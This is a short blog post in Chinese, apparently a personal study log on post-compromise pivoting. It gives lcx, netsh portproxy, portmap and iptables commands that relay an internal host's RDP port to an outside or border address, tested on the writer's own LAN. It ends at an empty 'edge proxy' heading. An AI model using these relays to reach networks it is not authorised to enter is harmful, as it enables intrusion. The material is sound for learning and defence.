内网渗透学习记录(二.端口转发和边界代理)

Posted by sp4rk on August 22, 2017

端口转发

windows下

1.lcx.exe

本地外网

lcx.exe -listen 1234 2345
#监听1234转发数据到2345

内网中

lcx.exe -slave 外网ip 1234 127.0.0.1 3389
#然后终端远程连接  127.0.0.1:2345即可

我这里环境搭在一个局域网的,本机监听1234,转发到2345

内网中主机转发到外面(虚拟机环境就是本地查看虚拟机ip即可) 另一台主机终端连接本地物理机ip:192.168.199.239:2345(输入密码,连接成功)

2.windows自带的netsh(支持ipv4和v6,只支持TCP协议)

netsh interface portproxy show all
#显示端口转发代理参数

netsh interface portproxy set v4tov4 listenaddress=192.168.244.6 listenport=3389 connectaddress=192.168.244.5 connectport=3389
#将192.168.244.6的1234端口转发到192.168.244.5的1234端口(可以实现内网之间的相互通信,244.5的远程桌面,直接连6的)

netsh interface portproxy delete v4tov4 listenport=3389
#删除本地端口3389的端口转发配置

linux下

1.portmap

./portmap -m 2 -p1 1234 -p2 2345
#监听1234转发数据到2345

./portmap -m 1 -p1 3389 -h2 -p2 1234
#将内网3389转发到本地1234端口

2.iptables

需要访问的内网地址:192.168.244.100
内网边界web服务器:192.168.244.7
iptables -t nat -A PREROUTING --dst 192.168.244.7 -p tcp --dport 3389 -j DNAT --to-destination 192.168.244.100:3389

iptables -t nat -A POSTROUTING --dst 192.168.244.100 -p tcp --dport 3389 -j SNAT --to-source 192.168.244.7

边界代理